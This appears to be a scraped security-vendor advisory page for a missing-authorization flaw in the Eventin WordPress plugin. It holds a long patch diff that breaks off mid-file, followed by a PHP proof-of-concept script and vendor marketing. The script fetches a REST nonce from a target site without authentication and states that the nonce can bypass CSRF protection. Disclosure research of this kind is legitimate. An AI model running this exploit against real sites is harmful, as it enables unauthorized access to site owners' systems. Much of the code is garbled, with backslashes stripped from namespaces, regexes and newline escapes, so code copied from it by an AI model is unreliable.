--- a/wp-event-solution/core/Attendee/info-update.php
+++ b/wp-event-solution/core/Attendee/info-update.php
@@ -16,7 +16,7 @@
     }

     public function attendee_info_update_process() {
-        if ( isset( $_GET['etn_action'] ) && sanitize_text_field( $_GET['etn_action'] ) === 'edit_information' ) {
+        if ( isset( $_GET['etn_action'] ) && sanitize_text_field( wp_unslash( $_GET['etn_action'] ) ) === 'edit_information' ) { // phpcs:ignore WordPress.Security.NonceVerification.Recommended -- attendee info edit link; action value is compared to a literal string only.

             $get_arr     = filter_input_array( INPUT_GET, FILTER_SANITIZE_FULL_SPECIAL_CHARS );
             $attendee_id = ! empty( $get_arr['attendee_id'] ) ? intval( $get_arr['attendee_id'] ) : 0;
@@ -52,7 +52,7 @@

     public function update_attendee_details() {

-        if ( isset( $_POST["etn_attendee_details_update_action"] ) && $_POST["etn_attendee_details_update_action"] == "etn_attendee_details_update_action" ) {
+        if ( isset( $_POST["etn_attendee_details_update_action"] ) && $_POST["etn_attendee_details_update_action"] == "etn_attendee_details_update_action" ) { // phpcs:ignore WordPress.Security.NonceVerification.Missing -- nonce field 'attendee_personal_data' is generated via wp_nonce_field('attendee_details_nonce') in the form template and verified via wp_verify_nonce() at the top of templates/attendee/update-attendee.php before any state-changing operations.
             $post_arr = filter_input_array( INPUT_POST, FILTER_SANITIZE_SPECIAL_CHARS );

             // render template
--- a/wp-event-solution/core/Blocks/BlockService.php
+++ b/wp-event-solution/core/Blocks/BlockService.php
@@ -4,6 +4,7 @@

 defined( 'ABSPATH' ) || exit;

+use EventinBlocksBlockTypesAttendeeExtraFields;
 use EventinBlocksBlockTypesAttendeeInfo;
 use EventinBlocksBlockTypesBuyTicket;
 use EventinBlocksBlockTypesContainer;
@@ -95,6 +96,7 @@
             TemplateHeading::class,
             DiamondSeparator::class,
             AttendeeInfo::class,
+            AttendeeExtraFields::class,
             EventInfo::class,
             TicketInfo::class,
             Container::class,
--- a/wp-event-solution/core/Blocks/BlockTypes/AbstractBlock.php
+++ b/wp-event-solution/core/Blocks/BlockTypes/AbstractBlock.php
@@ -285,6 +285,7 @@
         }

         $safe_css = preg_replace( '/<scriptb[^>]*>(.*?)</script>/is', '', $css );
+        $safe_css = str_replace( '</style>', '', $safe_css ); // Prevent breaking out of <style> context via CSS injection.
         return $safe_css;
     }

--- a/wp-event-solution/core/Blocks/BlockTypes/AttendeeExtraFields.php
+++ b/wp-event-solution/core/Blocks/BlockTypes/AttendeeExtraFields.php
@@ -0,0 +1,37 @@
+<?php
+
+namespace EventinBlocksBlockTypes;
+
+defined( 'ABSPATH' ) || exit;
+
+/**
+ * AttendeeExtraFields Block
+ */
+class AttendeeExtraFields extends AbstractBlock {
+    /**
+     * Block name.
+     *
+     * @var string
+     */
+    protected $block_name = 'attendee-extra-fields';
+
+    /**
+     * Block namespace
+     *
+     * @var string
+     */
+    protected $namespace = 'eventin-pro';
+
+    /**
+     * Include and render the block
+     *
+     * @param   array  $attributes  Block attributes. Default empty array
+     * @param   string  $content     Block content. Default empty string
+     * @param   WP_Block  $block       Block instance
+     *
+     * @return  string Rendered block type output
+     */
+    protected function render( $attributes, $content, $block ) {
+        return $content;
+    }
+}
--- a/wp-event-solution/core/Blocks/BlockTypes/BuyTicket.php
+++ b/wp-event-solution/core/Blocks/BlockTypes/BuyTicket.php
@@ -1,60 +1,76 @@
 <?php
+    namespace EventinBlocksBlockTypes;

-namespace EventinBlocksBlockTypes;
+    use EtnCoreEventEvent_Model;
+    use EventinBlocksBlockTypesAbstractBlock;
+    use Wpeventin;

-defined( 'ABSPATH' ) || exit;
-use EtnCoreEventEvent_Model;
-use EventinBlocksBlockTypesAbstractBlock;
-use Wpeventin;
-
-/**
- * Buy Event Ticket Gutenberg block
- */
-class BuyTicket extends AbstractBlock
-{
     /**
-     * Block name.
-     *
-     * @var string
+     * Buy Event Ticket Gutenberg block
      */
-    protected $block_name = 'buy-ticket';
-
-    /**
-     * Include and render the block
-     *
-     * @param   array  $attributes  Block attributes. Default empty array
-     * @param   string  $content     Block content. Default empty string
-     * @param   WP_Block  $block       Block instance
-     *
-     * @return  string Rendered block type output
-     */
-    protected function render($attributes, $content, $block)
+    class BuyTicket extends AbstractBlock
     {
-        $style_variant = ! empty($attributes['styleVariant']) ? $attributes['styleVariant'] : 'style-1';
-
-        $container_class = ! empty($attributes['containerClassName']) ? $attributes['containerClassName'] : '';
-        $styles = ! empty( $attributes['styles'] ) ? $attributes['styles'] : [];
-
-        if ( 'etn-template' == get_post_type( get_the_ID() ) ) {
-            $template = new EventinTemplateTemplateModel( get_the_ID() );
-            $event_id = $template->get_preview_event_id();
-        } else {
-            $event_id = get_the_ID();
-        }
+        /**
+         * Block name.
+         *
+         * @var string
+         */
+        protected $block_name = 'buy-ticket';
+
+        /**
+         * Include and render the block
+         *
+         * @param   array  $attributes  Block attributes. Default empty array
+         * @param   string  $content     Block content. Default empty string
+         * @param   WP_Block  $block       Block instance
+         *
+         * @return  string Rendered block type output
+         */
+        protected function render($attributes, $content, $block)
+        {
+            $style_variant = ! empty($attributes['styleVariant']) ? $attributes['styleVariant'] : 'style-1';
+
+            $container_class = ! empty($attributes['containerClassName']) ? $attributes['containerClassName'] : '';
+            $styles          = ! empty($attributes['styles']) ? $attributes['styles'] : [];
+            // Check if we're in editor/admin
+            if ($this->is_editor()) {
+                return '<div style="border: 2px dashed #ccc;
+                       border-radius: 8px;
+                       padding: 20px;
+                       text-align: center;
+                       background: #f8f9fa;
+                       color: #666;
+                       margin: 10px 0;">
+                <svg style="width: 24px; height: 24px; margin-bottom: 8px;" viewBox="0 0 24 24">
+                    <path fill="currentColor" d="M13 13h-2V7h2v6zm0 4h-2v-2h2v2zM12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2z"/>
+                </svg>
+                <p style="margin: 0; font-size: 14px; font-weight: 500;">' .
+                esc_html__("This Block (Buy Ticket) is not available for preview in Edit Mode. However, it will render correctly on the frontend for customers.", 'eventin') .
+                    '</p>
+            </div>';
+            }
+
+            if ($this->is_editor()) {
+                $event_id = ! empty($attributes['eventId']) ? intval($attributes['eventId']) : 0;
+            } else if ('etn-template' == get_post_type(get_the_ID())) {
+                $template = new EventinTemplateTemplateModel(get_the_ID());
+                $event_id = $template->get_preview_event_id();
+            } else {
+                $event_id = get_the_ID();
+            }

-        $event = new Event_Model($event_id);
-
-        ob_start();
+            $event = new Event_Model($event_id);

+            ob_start();

         ?>
-        <?php echo $this->render_frontend_css( $styles, esc_attr( $container_class ) ); ?>
+        <?php echo $this->render_frontend_css($styles, esc_attr($container_class)); // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped ?>
         <?php
-        require_once Wpeventin::templates_dir() . 'event/parts/buy-ticket.php';
-        ?>
+            require Wpeventin::templates_dir() . 'event/parts/buy-ticket.php';
+                ?>

         <?php

-        return ob_get_clean();
-    }
-}
 No newline at end of file
+                    return ob_get_clean();
+            }
+        }
 No newline at end of file
--- a/wp-event-solution/core/Blocks/BlockTypes/EventAddToCalender.php
+++ b/wp-event-solution/core/Blocks/BlockTypes/EventAddToCalender.php
@@ -46,7 +46,7 @@


         ?>
-        <?php echo $this->render_frontend_css( $styles, esc_attr( $container_class ) ); ?>
+        <?php echo $this->render_frontend_css( $styles, esc_attr( $container_class ) ); // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped -- CSS rendered by render_frontend_css(); script and style tags stripped by generate_frontend_css(). ?>
         <?php
         require_once Wpeventin::templates_dir() . 'event/parts/event-add-calender.php';
         ?>
--- a/wp-event-solution/core/Blocks/BlockTypes/EventAttendee.php
+++ b/wp-event-solution/core/Blocks/BlockTypes/EventAttendee.php
@@ -37,9 +37,15 @@
          */
         protected function render($attributes, $content, $block)
         {
-            $container_class = ! empty($attributes['containerClassName']) ? $attributes['containerClassName'] : '';
-            $items_per_row   = ! empty($attributes['itemsPerRow']) ? intval($attributes['itemsPerRow']) : 3;
-            $styles          = ! empty($attributes['styles']) ? $attributes['styles'] : [];
+            $container_class  = ! empty($attributes['containerClassName']) ? $attributes['containerClassName'] : '';
+            $items_per_row    = ! empty($attributes['itemsPerRow']) ? intval($attributes['itemsPerRow']) : 3;
+            $styles           = ! empty($attributes['styles']) ? $attributes['styles'] : [];
+            $style_variant    = ! empty($attributes['styleVariant']) ? sanitize_key($attributes['styleVariant']) : 'style-1';
+            $allowed_variants = ['style-1', 'style-2'];
+
+            if (! in_array($style_variant, $allowed_variants, true)) {
+                $style_variant = 'style-1';
+            }

             if ($this->is_editor()) {
                 $event_id = ! empty($attributes['eventId']) ? intval($attributes['eventId']) : 0;
@@ -74,7 +80,7 @@
                                 $frontend_css
                             );
                         }
-
+
                         // Ensure img always uses 100% width/height to fill container, overriding any saved styles
                         $avatar_img_selector = ".{$container_class} .etn-attendee-item .etn-attendee-avatar img";
                         $frontend_css .= "n{$avatar_img_selector} {n";
@@ -82,12 +88,14 @@
                         $frontend_css .= "  height: 100% !important;n";
                         $frontend_css .= "}n";

-                        echo '<style>' . $frontend_css . '</style>';
+                        echo '<style>' . $frontend_css . '</style>'; // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped -- CSS generated from block editor attributes; HTML escaping would break styles.
                     }
                 ?>
         <?php
-            $items_per_row = $items_per_row; // Make available to template
-                    require_once Wpeventin::templates_dir() . 'event/parts/event-attendee.php';
+            $items_per_row  = $items_per_row; // Make available to template
+                    $style_variant  = $style_variant;
+                    $style_template = Wpeventin::templates_dir() . 'event/parts/styles/event-attendee/' . $style_variant . '.php';
+                    require $style_template;
                     return ob_get_clean();
                 }
         }
--- a/wp-event-solution/core/Blocks/BlockTypes/EventBanner.php
+++ b/wp-event-solution/core/Blocks/BlockTypes/EventBanner.php
@@ -72,7 +72,7 @@
                                 $frontend_css
                             );
                         }
-                        echo '<style>' . $frontend_css . '</style>';
+                        echo '<style>' . $frontend_css . '</style>'; // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped -- CSS generated from block editor attributes; HTML escaping would break styles.
                     }
                 ?>
         <?php
--- a/wp-event-solution/core/Blocks/BlockTypes/EventCategory.php
+++ b/wp-event-solution/core/Blocks/BlockTypes/EventCategory.php
@@ -46,7 +46,7 @@

         ob_start();
         ?>
-        <?php echo $this->render_frontend_css( $styles, esc_attr( $container_class ) ); ?>
+        <?php echo $this->render_frontend_css( $styles, esc_attr( $container_class ) ); // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped -- CSS rendered by render_frontend_css(); script and style tags stripped by generate_frontend_css(). ?>
         <?php
         require_once Wpeventin::templates_dir() . 'event/parts/event-category.php';
         ?>
--- a/wp-event-solution/core/Blocks/BlockTypes/EventCountDownTimer.php
+++ b/wp-event-solution/core/Blocks/BlockTypes/EventCountDownTimer.php
@@ -75,7 +75,7 @@

         ob_start();
         ?>
-        <?php echo $this->render_frontend_css( $styles, esc_attr( $container_class ) ); ?>
+        <?php echo $this->render_frontend_css( $styles, esc_attr( $container_class ) ); // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped -- CSS rendered by render_frontend_css(); script and style tags stripped by generate_frontend_css(). ?>
         <?php
         require_once Wpeventin::templates_dir() . 'event/parts/event-count-down-timer.php';
         ?>
--- a/wp-event-solution/core/Blocks/BlockTypes/EventDateTime.php
+++ b/wp-event-solution/core/Blocks/BlockTypes/EventDateTime.php
@@ -60,7 +60,7 @@

             ob_start();
         ?>
-        <?php echo $this->render_frontend_css( $styles, esc_attr( $container_class ) ); ?>
+        <?php echo $this->render_frontend_css( $styles, esc_attr( $container_class ) ); // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped -- CSS rendered by render_frontend_css(); script and style tags stripped by generate_frontend_css(). ?>
         <?php
             $style_template = Wpeventin::templates_dir() . 'event/parts/styles/event-datetime/' . $style_variant . '.php';
                     require $style_template;
--- a/wp-event-solution/core/Blocks/BlockTypes/EventDescription.php
+++ b/wp-event-solution/core/Blocks/BlockTypes/EventDescription.php
@@ -58,7 +58,7 @@

             ob_start();
         ?>
-        <?php echo $this->render_frontend_css( $styles, esc_attr( $container_class ) ); ?>
+        <?php echo $this->render_frontend_css( $styles, esc_attr( $container_class ) ); // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped -- CSS rendered by render_frontend_css(); script and style tags stripped by generate_frontend_css(). ?>
         <?php
             require Wpeventin::templates_dir() . 'event/parts/event-description.php';
                 ?>
--- a/wp-event-solution/core/Blocks/BlockTypes/EventFaq.php
+++ b/wp-event-solution/core/Blocks/BlockTypes/EventFaq.php
@@ -64,7 +64,7 @@
                         $frontend_css
                     );
                 }
-                echo '<style>' . $frontend_css . '</style>';
+                echo '<style>' . $frontend_css . '</style>'; // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped -- CSS generated from block editor attributes; HTML escaping would break styles.
             }
         ?>
         <?php
--- a/wp-event-solution/core/Blocks/BlockTypes/EventLogo.php
+++ b/wp-event-solution/core/Blocks/BlockTypes/EventLogo.php
@@ -40,7 +40,7 @@
         }
         ob_start();
         ?>
-        <?php echo $this->render_frontend_css( $styles, esc_attr( $container_class ) ); ?>
+        <?php echo $this->render_frontend_css( $styles, esc_attr( $container_class ) ); // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped -- CSS rendered by render_frontend_css(); script and style tags stripped by generate_frontend_css(). ?>
         <?php
         require_once Wpeventin::templates_dir() . 'event/parts/logo.php';
         ?>
--- a/wp-event-solution/core/Blocks/BlockTypes/EventOrganizer.php
+++ b/wp-event-solution/core/Blocks/BlockTypes/EventOrganizer.php
@@ -8,63 +8,71 @@
     use Wpeventin;

     /**
-     * Event Organizer Gutenberg block
-     */
+ * Event Organizer Gutenberg block
+ */
     class EventOrganizer extends AbstractBlock
     {
-        /**
-         * Block name.
-         *
-         * @var string
-         */
-        protected $block_name = 'event-organizer';
-
-        /**
-         * Include and render the block
-         *
-         * @param   array  $attributes  Block attributes. Default empty array
-         * @param   string  $content     Block content. Default empty string
-         * @param   WP_Block  $block       Block instance
-         *
-         * @return  string Rendered block type output
-         */
-        protected function render($attributes, $content, $block)
-        {
-            $container_class = ! empty($attributes['containerClassName']) ? $attributes['containerClassName'] : '';
-            $styles          = ! empty($attributes['styles']) ? $attributes['styles'] : [];
-            $style_variant   = ! empty($attributes['styleVariant']) ? sanitize_key($attributes['styleVariant']) : 'style-1';
-
-            $allowed_variants = ['style-1', 'style-2'];
-            if (! in_array($style_variant, $allowed_variants, true)) {
-                $style_variant = 'style-1';
-            }
+    /**
+     * Block name.
+     *
+     * @var string
+     */
+    protected $block_name = 'event-organizer';

-            if ($this->is_editor()) {
-                $event_id = ! empty($attributes['eventId']) ? intval($attributes['eventId']) : 0;
+    /**
+     * Include and render the block
+     *
+     * @param   array  $attributes  Block attributes. Default empty array
+     * @param   string  $content     Block content. Default empty string
+     * @param   WP_Block  $block       Block instance
+     *
+     * @return  string Rendered block type output
+     */
+    protected function render($attributes, $content, $block)
+    {
+        $container_class = ! empty($attributes['containerClassName']) ? $attributes['containerClassName'] : '';
+        $styles          = ! empty($attributes['styles']) ? $attributes['styles'] : [];
+        $style_variant   = ! empty($attributes['styleVariant']) ? sanitize_key($attributes['styleVariant']) : 'style-1';
+
+        $allowed_variants = ['style-1', 'style-2', 'style-3'];
+        if (! in_array($style_variant, $allowed_variants, true)) {
+            $style_variant = 'style-1';
+        }

-                if ($event_id == 0) {
-                    $template = new EventinTemplateTemplateModel(get_the_ID());
-                    $event_id = $template->get_preview_event_id();
-                }
-            } else if ('etn-template' == get_post_type(get_the_ID())) {
+        if ($this->is_editor()) {
+            $event_id = ! empty($attributes['eventId']) ? intval($attributes['eventId']) : 0;
+
+            if ($event_id == 0) {
                 $template = new EventinTemplateTemplateModel(get_the_ID());
                 $event_id = $template->get_preview_event_id();
-            } else {
-                $event_id = get_the_ID();
             }
+        } else if ('etn-template' == get_post_type(get_the_ID())) {
+            $template = new EventinTemplateTemplateModel(get_the_ID());
+            $event_id = $template->get_preview_event_id();
+        } else {
+            $event_id = get_the_ID();
+        }

-            $event = new Event_Model($event_id);
+        $event = new Event_Model($event_id);

-            $event_organizers = $event->get_organizers();
+        $event_organizers = $event->get_organizers();

-            ob_start();
+        ob_start();
         ?>
         <?php
             // Generate CSS with !important to override SCSS
                     $frontend_css = $this->generate_frontend_css($styles, $container_class);
-                    if (! empty($frontend_css)) {
+                    if (! empty($frontend_css) && ! empty($container_class)) {
+                        // Fix wrapper selector: container-class is on the same element as .etn-event-organizers
+                        // Change ".container-class .etn-event-organizers" to ".container-class.etn-event-organizers"
+                        $frontend_css = preg_replace(
+                            '/.' . preg_quote($container_class, '/') . 's+.etn-event-organizers(.etn-organizer-style-d+)?/',
+                            '.' . $container_class . '.etn-event-organizers$1',
+                            $frontend_css
+                        );
+
                         // Add !important to common properties that need to override SCSS
-                        $important_properties = ['width', 'height', 'font-size', 'color', 'font-weight', 'line-height', 'letter-spacing', 'margin', 'padding', 'text-align', 'font-family', 'border-width', 'border-color', 'border-style', 'border-radius', 'z-index', 'box-shadow', 'left', 'right', 'top', 'bottom', 'position'];
+                        $important_properties = ['width', 'height', 'font-size', 'color', 'background-color', 'font-weight', 'line-height', 'letter-spacing', 'margin', 'padding', 'text-align', 'font-family', 'border-width', 'border-color', 'border-style', 'border-radius', 'z-index', 'box-shadow', 'left', 'right', 'top', 'bottom', 'position'];
                         foreach ($important_properties as $prop) {
                             $frontend_css = preg_replace(
                                 "/({$prop})s*:s*([^;!]+?)(?!s*!important)s*;/im",
@@ -72,7 +80,7 @@
                                 $frontend_css
                             );
                         }
-                        echo '<style>' . $frontend_css . '</style>';
+                        echo '<style>' . $frontend_css . '</style>'; // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped -- CSS generated from block editor attributes; HTML escaping would break styles.
                     }
                 ?>
         <?php
@@ -83,4 +91,4 @@
         <?php
             return ob_get_clean();
                 }
-            }
+        }
--- a/wp-event-solution/core/Blocks/BlockTypes/EventRSVP.php
+++ b/wp-event-solution/core/Blocks/BlockTypes/EventRSVP.php
@@ -46,7 +46,7 @@


         ?>
-        <?php echo $this->render_frontend_css( $styles, esc_attr( $container_class ) ); ?>
+        <?php echo $this->render_frontend_css( $styles, esc_attr( $container_class ) ); // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped -- CSS rendered by render_frontend_css(); script and style tags stripped by generate_frontend_css(). ?>
         <?php
         require_once Wpeventin::templates_dir() . 'event/parts/rsvp.php';
         ?>
--- a/wp-event-solution/core/Blocks/BlockTypes/EventSchedule.php
+++ b/wp-event-solution/core/Blocks/BlockTypes/EventSchedule.php
@@ -8,55 +8,55 @@
     use Wpeventin;

     /**
-     * Event Schedule Gutenberg block
-     */
+ * Event Schedule Gutenberg block
+ */
     class EventSchedule extends AbstractBlock
     {
-        /**
-         * Block name.
-         *
-         * @var string
-         */
-        protected $block_name = 'event-schedule';
-
-        /**
-         * Include and render the block
-         *
-         * @param   array  $attributes  Block attributes. Default empty array
-         * @param   string  $content     Block content. Default empty string
-         * @param   WP_Block  $block       Block instance
-         *
-         * @return  string Rendered block type output
-         */
-        protected function render($attributes, $content, $block)
-        {
-            $container_class = ! empty($attributes['containerClassName']) ? $attributes['containerClassName'] : '';
-            $styles          = ! empty($attributes['styles']) ? $attributes['styles'] : [];
-            $style_variant   = ! empty($attributes['styleVariant']) ? sanitize_key($attributes['styleVariant']) : 'style-1';
-
-            $allowed_variants = ['style-1', 'style-2', 'style-3'];
-            if (! in_array($style_variant, $allowed_variants, true)) {
-                $style_variant = 'style-1';
-            }
+    /**
+     * Block name.
+     *
+     * @var string
+     */
+    protected $block_name = 'event-schedule';
+
+    /**
+     * Include and render the block
+     *
+     * @param   array  $attributes  Block attributes. Default empty array
+     * @param   string  $content     Block content. Default empty string
+     * @param   WP_Block  $block       Block instance
+     *
+     * @return  string Rendered block type output
+     */
+    protected function render($attributes, $content, $block)
+    {
+        $container_class = ! empty($attributes['containerClassName']) ? $attributes['containerClassName'] : '';
+        $styles          = ! empty($attributes['styles']) ? $attributes['styles'] : [];
+        $style_variant   = ! empty($attributes['styleVariant']) ? sanitize_key($attributes['styleVariant']) : 'style-1';
+
+        $allowed_variants = ['style-1', 'style-2', 'style-3', 'style-4', 'style-5'];
+        if (! in_array($style_variant, $allowed_variants, true)) {
+            $style_variant = 'style-1';
+        }

-            if ($this->is_editor()) {
-                $event_id = ! empty($attributes['eventId']) ? intval($attributes['eventId']) : 0;
+        if ($this->is_editor()) {
+            $event_id = ! empty($attributes['eventId']) ? intval($attributes['eventId']) : 0;

-                if ($event_id == 0) {
-                    $template = new EventinTemplateTemplateModel(get_the_ID());
-                    $event_id = $template->get_preview_event_id();
-                }
-            } else if ('etn-template' == get_post_type(get_the_ID())) {
+            if ($event_id == 0) {
                 $template = new EventinTemplateTemplateModel(get_the_ID());
                 $event_id = $template->get_preview_event_id();
-            } else {
-                $event_id = get_the_ID();
             }
+        } else if ('etn-template' == get_post_type(get_the_ID())) {
+            $template = new EventinTemplateTemplateModel(get_the_ID());
+            $event_id = $template->get_preview_event_id();
+        } else {
+            $event_id = get_the_ID();
+        }

-            $event          = new Event_Model($event_id);
-            $event_location = $event->get_address();
+        $event          = new Event_Model($event_id);
+        $event_location = $event->get_address();

-            ob_start();
+        ob_start();
         ?>
         <?php
             // Generate CSS with !important to override SCSS
@@ -75,7 +75,7 @@
                                 $frontend_css
                             );
                         }
-                        echo '<style>' . $frontend_css . '</style>';
+                        echo '<style>' . $frontend_css . '</style>'; // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped -- CSS generated from block editor attributes; HTML escaping would break styles.
                     }
                 ?>
         <?php
--- a/wp-event-solution/core/Blocks/BlockTypes/EventSocial.php
+++ b/wp-event-solution/core/Blocks/BlockTypes/EventSocial.php
@@ -51,7 +51,7 @@

             ob_start();
         ?>
-        <?php echo $this->render_frontend_css( $styles, esc_attr( $container_class ) ); ?>
+        <?php echo $this->render_frontend_css( $styles, esc_attr( $container_class ) ); // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped -- CSS rendered by render_frontend_css(); script and style tags stripped by generate_frontend_css(). ?>
         <?php
             $style_template = Wpeventin::templates_dir() . 'event/parts/styles/event-social/' . $style_variant . '.php';
                     require $style_template;
--- a/wp-event-solution/core/Blocks/BlockTypes/EventSpeaker.php
+++ b/wp-event-solution/core/Blocks/BlockTypes/EventSpeaker.php
@@ -8,56 +8,56 @@
     use Wpeventin;

     /**
-     * Event Venue Gutenberg block
-     */
+ * Event Venue Gutenberg block
+ */
     class EventSpeaker extends AbstractBlock
     {
-        /**
-         * Block name.
-         *
-         * @var string
-         */
-        

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
<?php
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-40776 - Eventin – Event Calendar, Event Registration, Tickets & Booking (AI Powered) <= 4.1.8 - Missing Authorization

/**
 * This PoC demonstrates that an unauthenticated attacker can obtain a WordPress REST nonce
 * from the vulnerable endpoint /wp-json/eventin/v1/nonce.
 */

$target_url = 'http://example.com';  // Change this to the target WordPress site URL

// Initialize cURL
$ch = curl_init();

// Set URL to the vulnerable endpoint
$url = rtrim($target_url, '/') . '/wp-json/eventin/v1/nonce';

curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_HTTPHEADER, array('Content-Type: application/json'));
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);  // Disable for testing; remove in production
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);  // Disable for testing; remove in production

// Execute the request
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);

// Check for errors
if (curl_errno($ch)) {
    echo 'Error: ' . curl_error($ch) . PHP_EOL;
    exit(1);
}

curl_close($ch);

// Decode the JSON response
$data = json_decode($response, true);

// Display the result
if ($http_code === 200 && isset($data['nonce'])) {
    echo "Vulnerability confirmed!n";
    echo "HTTP Status: $http_coden";
    echo "Nonce obtained: " . $data['nonce'] . "nn";
    echo "This nonce can now be used to bypass CSRF protection in other requests.n";
} else {
    echo "Vulnerability not confirmed.n";
    echo "HTTP Status: $http_coden";
    echo "Response: " . $response . "n";
}

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School